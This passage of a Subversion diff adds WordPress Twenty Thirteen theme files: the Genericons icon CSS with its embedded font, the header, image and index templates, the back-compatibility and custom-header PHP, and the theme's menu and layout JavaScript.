gWGSa3Q42QmYXtwabxD/SE0vi0YTZUdRWP/tTb5nTGw/Rq/LrW74K4QTVznr6KeOUYRVV0pVPd6By0KC89l7lI489prufu6Xe1mi5hJtGMbaKMnN+Q/bzdy2iPb4UTB3rE02jqsOae7nirjEp27uNR0MG/+j+BD21Xh+y24Qf2tjvcQYjr7CUnPVStm09eYLPycKb/Em9Zoq755u2fk2Pd/QGe+3ARAAB42m3S1XIUURRG4VmDBHd3d5k+Z5/uBIdAcHd3CRI0OBRPyCshmRWu6Kqp/6brm9qrutVujTy/frZS63/Pjz8/Wm3ajGEs4xhPDxOYyCQmM4WpTGM6M5jJLGYzh7nMYz4LWMgiFrOEpSxjOStYySpWs4a1rGM9G9jIJjazha1sYzsdKhKZoFDT0EsfO9jJLnazh73sYz8H6OcghxjgMEc4yjGOc4KTnOI0ZzjLOc5zgYtc4jJXuMo1rnODm9ziNne4yz3u84CHPOIxTxjkKc94zguGeMkrXvOGt7xjmPd84COf+MwXvvKN7z3DQ4OpDPT/3YGq03ErN7nZDbe4tdu4vW7fyCa9pJf0kl7SS3pJL+klvTTqVXqVXqVX6VV6lV6lV+lVepVe0kt6SS/pJb3U9bL3ZO/J3pO9J3tP7oy+X7uN2/3/0Amd0Amd0Amd0Amd+Od07wi7hF3CLmGXsEvYJewSdgm7hF3CLmGXsEvYJewSdomkl/SSXtLLelkv62W9rJf1sl7Wy3pZL/RCL/RCL/RCL/RCL/RCr+gVvaJX9Ipe0St6Ra/oFb1ar9ar9Wq9Wq/Wq/VqvVqv1mv0Gr1Gr9Frul7xuyp+V8XvqnTyb1UoNRm4Af+FsAGNAEuwCFBYsQEBjlmxRgYrWCGwEFlLsBRSWCGwgFkdsAYrXFhZsBQrAAAAAVLP0T8AAA==) format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+}
+
+
+/**
+ * All Genericons
+ */
+
+.genericon {
+	display: inline-block;
+	width: 16px;
+	height: 16px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	font-size: 16px;
+	line-height: 1;
+	font-family: 'Genericons';
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
+}
+
+/**
+ * IE7 and IE6 hacks
+ */
+
+.genericon {
+	*overflow: auto;
+	*zoom: 1;
+	*display: inline;
+}
+
+/**
+ * Individual icons
+ */
+
+/* Post formats */
+.genericon-standard:before {        content: '\f100'; }
+.genericon-aside:before {           content: '\f101'; }
+.genericon-image:before {           content: '\f102'; }
+.genericon-gallery:before {         content: '\f103'; }
+.genericon-video:before {           content: '\f104'; }
+.genericon-status:before {          content: '\f105'; }
+.genericon-quote:before {           content: '\f106'; }
+.genericon-link:before {            content: '\f107'; }
+.genericon-chat:before {            content: '\f108'; }
+.genericon-audio:before {           content: '\f109'; }
+
+/* Social icons */
+.genericon-github:before {          content: '\f200'; }
+.genericon-dribbble:before {        content: '\f201'; }
+.genericon-twitter:before {         content: '\f202'; }
+.genericon-facebook:before {        content: '\f203'; }
+.genericon-facebook-alt:before {    content: '\f204'; }
+.genericon-wordpress:before {       content: '\f205'; }
+.genericon-googleplus:before {      content: '\f206'; }
+.genericon-linkedin:before {        content: '\f207'; }
+.genericon-linkedin-alt:before {    content: '\f208'; }
+.genericon-pinterest:before {       content: '\f209'; }
+.genericon-pinterest-alt:before {   content: '\f210'; }
+.genericon-flickr:before {          content: '\f211'; }
+.genericon-vimeo:before {           content: '\f212'; }
+.genericon-youtube:before {         content: '\f213'; }
+.genericon-tumblr:before {          content: '\f214'; }
+.genericon-instagram:before {       content: '\f215'; }
+.genericon-codepen:before {         content: '\f216'; }
+.genericon-polldaddy:before {       content: '\f217'; }
+.genericon-googleplus-alt:before {  content: '\f218'; }
+.genericon-path:before {            content: '\f219'; }
+.genericon-skype:before {           content: '\f220'; }
+.genericon-digg:before {            content: '\f221'; }
+.genericon-reddit:before {          content: '\f222'; }
+.genericon-stumbleupon:before {     content: '\f223'; }
+.genericon-pocket:before {          content: '\f224'; }
+.genericon-dropbox:before {         content: '\f225'; }
+
+/* Meta icons */
+.genericon-comment:before {         content: '\f300'; }
+.genericon-category:before {        content: '\f301'; }
+.genericon-tag:before {             content: '\f302'; }
+.genericon-time:before {            content: '\f303'; }
+.genericon-user:before {            content: '\f304'; }
+.genericon-day:before {             content: '\f305'; }
+.genericon-week:before {            content: '\f306'; }
+.genericon-month:before {           content: '\f307'; }
+.genericon-pinned:before {          content: '\f308'; }
+
+/* Other icons */
+.genericon-search:before {          content: '\f400'; }
+.genericon-unzoom:before {          content: '\f401'; }
+.genericon-zoom:before {            content: '\f402'; }
+.genericon-show:before {            content: '\f403'; }
+.genericon-hide:before {            content: '\f404'; }
+.genericon-close:before {           content: '\f405'; }
+.genericon-close-alt:before {       content: '\f406'; }
+.genericon-trash:before {           content: '\f407'; }
+.genericon-star:before {            content: '\f408'; }
+.genericon-home:before {            content: '\f409'; }
+.genericon-mail:before {            content: '\f410'; }
+.genericon-edit:before {            content: '\f411'; }
+.genericon-reply:before {           content: '\f412'; }
+.genericon-feed:before {            content: '\f413'; }
+.genericon-warning:before {         content: '\f414'; }
+.genericon-share:before {           content: '\f415'; }
+.genericon-attachment:before {      content: '\f416'; }
+.genericon-location:before {        content: '\f417'; }
+.genericon-checkmark:before {       content: '\f418'; }
+.genericon-menu:before {            content: '\f419'; }
+.genericon-refresh:before {         content: '\f420'; }
+.genericon-minimize:before {        content: '\f421'; }
+.genericon-maximize:before {        content: '\f422'; }
+.genericon-404:before {             content: '\f423'; }
+.genericon-spam:before {            content: '\f424'; }
+.genericon-summary:before {         content: '\f425'; }
+.genericon-cloud:before {           content: '\f426'; }
+.genericon-key:before {             content: '\f427'; }
+.genericon-dot:before {             content: '\f428'; }
+.genericon-next:before {            content: '\f429'; }
+.genericon-previous:before {        content: '\f430'; }
+.genericon-expand:before {          content: '\f431'; }
+.genericon-collapse:before {        content: '\f432'; }
+.genericon-dropdown:before {        content: '\f433'; }
+.genericon-dropdown-left:before {   content: '\f434'; }
+.genericon-top:before {             content: '\f435'; }
+.genericon-draggable:before {       content: '\f436'; }
+.genericon-phone:before {           content: '\f437'; }
+.genericon-send-to-phone:before {   content: '\f438'; }
+.genericon-plugin:before {          content: '\f439'; }
+.genericon-cloud-download:before {  content: '\f440'; }
+.genericon-cloud-upload:before {    content: '\f441'; }
+.genericon-external:before {        content: '\f442'; }
+.genericon-document:before {        content: '\f443'; }
+.genericon-book:before {            content: '\f444'; }
+.genericon-cog:before {             content: '\f445'; }
+.genericon-unapprove:before {       content: '\f446'; }
+.genericon-cart:before {            content: '\f447'; }
+.genericon-pause:before {           content: '\f448'; }
+.genericon-stop:before {            content: '\f449'; }
+.genericon-skip-back:before {       content: '\f450'; }
+.genericon-skip-ahead:before {      content: '\f451'; }
+.genericon-play:before {            content: '\f452'; }
+.genericon-tablet:before {          content: '\f453'; }
+.genericon-send-to-tablet:before {  content: '\f454'; }
+.genericon-info:before {            content: '\f455'; }
+.genericon-notice:before {          content: '\f456'; }
+.genericon-help:before {            content: '\f457'; }
+.genericon-fastforward:before {     content: '\f458'; }
+.genericon-rewind:before {          content: '\f459'; }
+.genericon-portfolio:before {       content: '\f460'; }
+.genericon-heart:before {           content: '\f461'; }
+.genericon-code:before {            content: '\f462'; }
+.genericon-subscribe:before {       content: '\f463'; }
+.genericon-unsubscribe:before {     content: '\f464'; }
+.genericon-subscribed:before {      content: '\f465'; }
+.genericon-reply-alt:before {       content: '\f466'; }
+.genericon-reply-single:before {    content: '\f467'; }
+.genericon-flag:before {            content: '\f468'; }
+.genericon-print:before {           content: '\f469'; }
+.genericon-lock:before {            content: '\f470'; }
+.genericon-bold:before {            content: '\f471'; }
+.genericon-italic:before {          content: '\f472'; }
+.genericon-picture:before {         content: '\f473'; }
+.genericon-fullscreen:before {      content: '\f474'; }
+
+/* Generic shapes */
+.genericon-uparrow:before {         content: '\f500'; }
+.genericon-rightarrow:before {      content: '\f501'; }
+.genericon-downarrow:before {       content: '\f502'; }
+.genericon-leftarrow:before {       content: '\f503'; }
+
+
+
+
+
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/header.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * The Header template for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 7]>
+<html class="ie ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html class="ie ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width">
+	<title><?php wp_title( '|', true, 'right' ); ?></title>
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<!--[if lt IE 9]>
+	<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js"></script>
+	<![endif]-->
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+	<div id="page" class="hfeed site">
+		<header id="masthead" class="site-header" role="banner">
+			<a class="home-link" href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home">
+				<h1 class="site-title"><?php bloginfo( 'name' ); ?></h1>
+				<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
+			</a>
+
+			<div id="navbar" class="navbar">
+				<nav id="site-navigation" class="navigation main-navigation" role="navigation">
+					<button class="menu-toggle"><?php _e( 'Menu', 'twentythirteen' ); ?></button>
+					<a class="screen-reader-text skip-link" href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentythirteen' ); ?>"><?php _e( 'Skip to content', 'twentythirteen' ); ?></a>
+					<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu', 'menu_id' => 'primary-menu' ) ); ?>
+					<?php get_search_form(); ?>
+				</nav><!-- #site-navigation -->
+			</div><!-- #navbar -->
+		</header><!-- #masthead -->
+
+		<div id="main" class="site-main">
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/image.php	(revision 56912)
@@ -0,0 +1,90 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+			?>
+
+			<article id="post-<?php the_ID(); ?>" <?php post_class( 'image-attachment' ); ?>>
+				<header class="entry-header">
+					<h1 class="entry-title"><?php the_title(); ?></h1>
+
+					<div class="entry-meta">
+						<?php
+							$published_text = __( '<span class="attachment-meta">Published on <time class="entry-date" datetime="%1$s">%2$s</time> in <a href="%3$s" title="Return to %4$s" rel="gallery">%5$s</a></span>', 'twentythirteen' );
+							$post_title = get_the_title( $post->post_parent );
+							if ( empty( $post_title ) || 0 == $post->post_parent )
+								$published_text = '<span class="attachment-meta"><time class="entry-date" datetime="%1$s">%2$s</time></span>';
+
+							printf( $published_text,
+								esc_attr( get_the_date( 'c' ) ),
+								esc_html( get_the_date() ),
+								esc_url( get_permalink( $post->post_parent ) ),
+								esc_attr( strip_tags( $post_title ) ),
+								$post_title
+							);
+
+							$metadata = wp_get_attachment_metadata();
+							printf( '<span class="attachment-meta full-size-link"><a href="%1$s" title="%2$s">%3$s (%4$s &times; %5$s)</a></span>',
+								esc_url( wp_get_attachment_url() ),
+								esc_attr__( 'Link to full-size image', 'twentythirteen' ),
+								__( 'Full resolution', 'twentythirteen' ),
+								$metadata['width'],
+								$metadata['height']
+							);
+
+							edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' );
+						?>
+					</div><!-- .entry-meta -->
+				</header><!-- .entry-header -->
+
+				<div class="entry-content">
+					<nav id="image-navigation" class="navigation image-navigation" role="navigation">
+						<span class="nav-previous"><?php previous_image_link( false, __( '<span class="meta-nav">&larr;</span> Previous', 'twentythirteen' ) ); ?></span>
+						<span class="nav-next"><?php next_image_link( false, __( 'Next <span class="meta-nav">&rarr;</span>', 'twentythirteen' ) ); ?></span>
+					</nav><!-- #image-navigation -->
+
+					<div class="entry-attachment">
+						<div class="attachment">
+							<?php twentythirteen_the_attached_image(); ?>
+
+							<?php if ( has_excerpt() ) : ?>
+							<div class="entry-caption">
+								<?php the_excerpt(); ?>
+							</div>
+							<?php endif; ?>
+						</div><!-- .attachment -->
+					</div><!-- .entry-attachment -->
+
+					<?php if ( ! empty( $post->post_content ) ) : ?>
+					<div class="entry-description">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentythirteen' ), 'after' => '</div>' ) ); ?>
+					</div><!-- .entry-description -->
+					<?php endif; ?>
+
+				</div><!-- .entry-content -->
+			</article><!-- #post -->
+
+			<?php comments_template(); ?>
+
+			<?php endwhile; // End the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/inc/back-compat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/inc/back-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/inc/back-compat.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Twenty Thirteen back compat functionality
+ *
+ * Prevents Twenty Thirteen from running on WordPress versions prior to 3.6,
+ * since this theme is not meant to be backward compatible and relies on
+ * many new functions and markup changes introduced in 3.6.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Thirteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentythirteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentythirteen_switch_theme' );
+
+/**
+ * Add message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Thirteen on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentythirteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevent the Customizer from being loaded on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_customize() {
+	wp_die( sprintf( __( 'Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentythirteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentythirteen_customize' );
+
+/**
+ * Prevent the Theme Preview from being loaded on WordPress versions prior to 3.4.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentythirteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentythirteen_preview' );
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/inc/custom-header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/inc/custom-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/inc/custom-header.php	(revision 56912)
@@ -0,0 +1,230 @@
+<?php
+/**
+ * Implement a custom header for Twenty Thirteen
+ *
+ * @link https://codex.wordpress.org/Custom_Headers
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header arguments and settings.
+ *
+ * @uses add_theme_support() to register support for 3.4 and up.
+ * @uses twentythirteen_header_style() to style front end.
+ * @uses twentythirteen_admin_header_style() to style wp-admin form.
+ * @uses twentythirteen_admin_header_image() to add custom markup to wp-admin form.
+ * @uses register_default_headers() to set up the bundled header images.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_custom_header_setup() {
+	$args = array(
+		// Text color and image (empty to use none).
+		'default-text-color'     => '220e10',
+		'default-image'          => '%s/images/headers/circle.png',
+
+		// Set height and width, with a maximum value for the width.
+		'height'                 => 230,
+		'width'                  => 1600,
+
+		// Callbacks for styling the header and the admin preview.
+		'wp-head-callback'       => 'twentythirteen_header_style',
+		'admin-head-callback'    => 'twentythirteen_admin_header_style',
+		'admin-preview-callback' => 'twentythirteen_admin_header_image',
+	);
+
+	add_theme_support( 'custom-header', $args );
+
+	/*
+	 * Default custom headers packaged with the theme.
+	 * %s is a placeholder for the theme template directory URI.
+	 */
+	register_default_headers( array(
+		'circle' => array(
+			'url'           => '%s/images/headers/circle.png',
+			'thumbnail_url' => '%s/images/headers/circle-thumbnail.png',
+			'description'   => _x( 'Circle', 'header image description', 'twentythirteen' )
+		),
+		'diamond' => array(
+			'url'           => '%s/images/headers/diamond.png',
+			'thumbnail_url' => '%s/images/headers/diamond-thumbnail.png',
+			'description'   => _x( 'Diamond', 'header image description', 'twentythirteen' )
+		),
+		'star' => array(
+			'url'           => '%s/images/headers/star.png',
+			'thumbnail_url' => '%s/images/headers/star-thumbnail.png',
+			'description'   => _x( 'Star', 'header image description', 'twentythirteen' )
+		),
+	) );
+}
+add_action( 'after_setup_theme', 'twentythirteen_custom_header_setup', 11 );
+
+/**
+ * Load our special font CSS files.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_custom_header_fonts() {
+	// Add Source Sans Pro and Bitter fonts.
+	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), null );
+
+	// Add Genericons font.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.03' );
+}
+add_action( 'admin_print_styles-appearance_page_custom-header', 'twentythirteen_custom_header_fonts' );
+
+/**
+ * Style the header text displayed on the blog.
+ *
+ * get_header_textcolor() options: Hide text (returns 'blank'), or any hex value.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_header_style() {
+	$header_image = get_header_image();
+	$text_color   = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail.
+	if ( empty( $header_image ) && $text_color == get_theme_support( 'custom-header', 'default-text-color' ) )
+		return;
+
+	// If we get this far, we have custom styles.
+	?>
+	<style type="text/css" id="twentythirteen-header-css">
+	<?php
+		if ( ! empty( $header_image ) ) :
+	?>
+		.site-header {
+			background: url(<?php header_image(); ?>) no-repeat scroll top;
+			background-size: 1600px auto;
+		}
+		@media (max-width: 767px) {
+			.site-header {
+				background-size: 768px auto;
+			}
+		}
+		@media (max-width: 359px) {
+			.site-header {
+				background-size: 360px auto;
+			}
+		}
+	<?php
+		endif;
+
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			position: absolute;
+			clip: rect(1px 1px 1px 1px); /* IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+			if ( empty( $header_image ) ) :
+	?>
+		.site-header .home-link {
+			min-height: 0;
+		}
+	<?php
+			endif;
+
+		// If the user has set a custom color for the text, use that.
+		elseif ( $text_color != get_theme_support( 'custom-header', 'default-text-color' ) ) :
+	?>
+		.site-title,
+		.site-description {
+			color: #<?php echo esc_attr( $text_color ); ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+
+/**
+ * Style the header image displayed on the Appearance > Header admin panel.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_admin_header_style() {
+	$header_image = get_header_image();
+?>
+	<style type="text/css" id="twentythirteen-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		border: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing:    border-box;
+		box-sizing:         border-box;
+		<?php
+		if ( ! empty( $header_image ) ) {
+			echo 'background: url(' . esc_url( $header_image ) . ') no-repeat scroll top; background-size: 1600px auto;';
+		} ?>
+		padding: 0 20px;
+	}
+	#headimg .home-link {
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing:    border-box;
+		box-sizing:         border-box;
+		margin: 0 auto;
+		max-width: 1040px;
+		<?php
+		if ( ! empty( $header_image ) || display_header_text() ) {
+			echo 'min-height: 230px;';
+		} ?>
+		width: 100%;
+	}
+	<?php if ( ! display_header_text() ) : ?>
+	#headimg h1,
+	#headimg h2 {
+		position: absolute !important;
+		clip: rect(1px 1px 1px 1px); /* IE7 */
+		clip: rect(1px, 1px, 1px, 1px);
+	}
+	<?php endif; ?>
+	#headimg h1 {
+		font: bold 60px/1 Bitter, Georgia, serif;
+		margin: 0;
+		padding: 58px 0 10px;
+	}
+	#headimg h1 a {
+		text-decoration: none;
+	}
+	#headimg h1 a:hover {
+		text-decoration: underline;
+	}
+	#headimg h2 {
+		font: 200 italic 24px "Source Sans Pro", Helvetica, sans-serif;
+		margin: 0;
+		text-shadow: none;
+	}
+	.default-header img {
+		max-width: 230px;
+		width: auto;
+	}
+	</style>
+<?php
+}
+
+/**
+ * Output markup to be displayed on the Appearance > Header admin panel.
+ *
+ * This callback overrides the default markup displayed there.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_admin_header_image() {
+	$style = 'color: #' . get_header_textcolor() . ';';
+	if ( ! display_header_text() ) {
+		$style = 'display: none;';
+	}
+	?>
+	<div id="headimg" style="background: url(<?php echo esc_url( get_header_image() ); ?>) no-repeat scroll top; background-size: 1600px auto;">
+		<div class="home-link">
+			<h1 class="displaying-header-text"><a id="name" style="<?php echo esc_attr( $style ); ?>" onclick="return false;" href="#" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+			<h2 id="desc" class="displaying-header-text" style="<?php echo esc_attr( $style ); ?>"><?php bloginfo( 'description' ); ?></h2>
+		</div>
+	</div>
+<?php }
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/index.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme and one of the
+ * two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * For example, it puts together the home page when no home.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+		<?php if ( have_posts() ) : ?>
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/js/functions.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/js/functions.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/js/functions.js	(revision 56912)
@@ -0,0 +1,165 @@
+/**
+ * Functionality specific to Twenty Thirteen.
+ *
+ * Provides helper functions to enhance the theme experience.
+ */
+
+( function( $ ) {
+	var body    = $( 'body' ),
+	    _window = $( window ),
+		nav, button, menu;
+
+	nav = $( '#site-navigation' );
+	button = nav.find( '.menu-toggle' );
+	menu = nav.find( '.nav-menu' );
+
+	/**
+	 * Adds a top margin to the footer if the sidebar widget area is higher
+	 * than the rest of the page, to help the footer always visually clear
+	 * the sidebar.
+	 */
+	$( function() {
+		if ( body.is( '.sidebar' ) ) {
+			var sidebar   = $( '#secondary .widget-area' ),
+			    secondary = ( 0 === sidebar.length ) ? -40 : sidebar.height(),
+			    margin    = $( '#tertiary .widget-area' ).height() - $( '#content' ).height() - secondary;
+
+			if ( margin > 0 && _window.innerWidth() > 999 ) {
+				$( '#colophon' ).css( 'margin-top', margin + 'px' );
+			}
+		}
+	} );
+
+	/**
+	 * Enables menu toggle for small screens.
+	 */
+	( function() {
+		if ( ! nav.length || ! button.length ) {
+			return;
+		}
+
+		// Hide button if menu is missing or empty.
+		if ( ! menu.length || ! menu.children().length ) {
+			button.hide();
+			return;
+		}
+
+		button.on( 'click.twentythirteen', function() {
+			nav.toggleClass( 'toggled-on' );
+			if ( nav.hasClass( 'toggled-on' ) ) {
+				$( this ).attr( 'aria-expanded', 'true' );
+				menu.attr( 'aria-expanded', 'true' );
+			} else {
+				$( this ).attr( 'aria-expanded', 'false' );
+				menu.attr( 'aria-expanded', 'false' );
+			}
+		} );
+
+		// Fix sub-menus for touch devices.
+		if ( 'ontouchstart' in window ) {
+			menu.find( '.menu-item-has-children > a, .page_item_has_children > a' ).on( 'touchstart.twentythirteen', function( e ) {
+				var el = $( this ).parent( 'li' );
+
+				if ( ! el.hasClass( 'focus' ) ) {
+					e.preventDefault();
+					el.toggleClass( 'focus' );
+					el.siblings( '.focus' ).removeClass( 'focus' );
+				}
+			} );
+		}
+
+		// Better focus for hidden submenu items for accessibility.
+		menu.find( 'a' ).on( 'focus.twentythirteen blur.twentythirteen', function() {
+			$( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
+		} );
+	} )();
+
+	/**
+	 * @summary Add or remove ARIA attributes.
+	 * Uses jQuery's width() function to determine the size of the window and add
+	 * the default ARIA attributes for the menu toggle if it's visible.
+	 * @since Twenty Thirteen 1.5
+	 */
+	function onResizeARIA() {
+		if ( 643 > _window.width() ) {
+			button.attr( 'aria-expanded', 'false' );
+			menu.attr( 'aria-expanded', 'false' );
+			button.attr( 'aria-controls', 'primary-menu' );
+		} else {
+			button.removeAttr( 'aria-expanded' );
+			menu.removeAttr( 'aria-expanded' );
+			button.removeAttr( 'aria-controls' );
+		}
+	}
+
+	_window
+		.on( 'load.twentythirteen', onResizeARIA )
+		.on( 'resize.twentythirteen', function() {
+			onResizeARIA();
+	} );
+
+	/**
+	 * Makes "skip to content" link work correctly in IE9 and Chrome for better
+	 * accessibility.
+	 *
+	 * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+	 */
+	_window.on( 'hashchange.twentythirteen', function() {
+		var element = document.getElementById( location.hash.substring( 1 ) );
+
+		if ( element ) {
+			if ( ! /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) {
+				element.tabIndex = -1;
+			}
+
+			element.focus();
+		}
+	} );
+
+	/**
+	 * Arranges footer widgets vertically.
+	 */
+	$( function() {
+		var columnWidth, widgetArea;
+		if ( ! $.isFunction( $.fn.masonry ) ) {
+			return;
+		}
+		columnWidth = body.is( '.sidebar' ) ? 228 : 245;
+		widgetArea = $( '#secondary .widget-area' );
+
+		widgetArea.masonry( {
+			itemSelector: '.widget',
+			columnWidth: columnWidth,
+			gutterWidth: 20,
+			isRTL: body.is( '.rtl' )
+		} );
+
+		if ( 'undefined' !== typeof wp && wp.customize && wp.customize.selectiveRefresh ) {
+
+			// Retain previous masonry-brick initial position.
+			wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
+				var copyPosition = (
+					placement.partial.extended( wp.customize.widgetsPreview.WidgetPartial ) &&
+					placement.removedNodes instanceof jQuery &&
+					placement.removedNodes.is( '.masonry-brick' ) &&
+					placement.container instanceof jQuery
+				);
+				if ( copyPosition ) {
+					placement.container.css( {
+						position: placement.removedNodes.css( 'position' ),
+						top: placement.removedNodes.css( 'top' ),
+						left: placement.removedNodes.css( 'left' )
+					} );
+				}
+			} );
+
+			// Re-arrange footer widgets when sidebar is updated via selective refresh in the Customizer.
+			wp.customize.selectiveRefresh.bind( 'sidebar-updated', function( sidebarPartial ) {
+				if ( 'sidebar-1' === sidebarPartial.sidebarId ) {
+					widgetArea.masonry( 'reloadItems' );
+					widgetArea.masonry( 'layout' );
+				}
+			} );
+		}
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/js/html5.js	(revision 56912)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
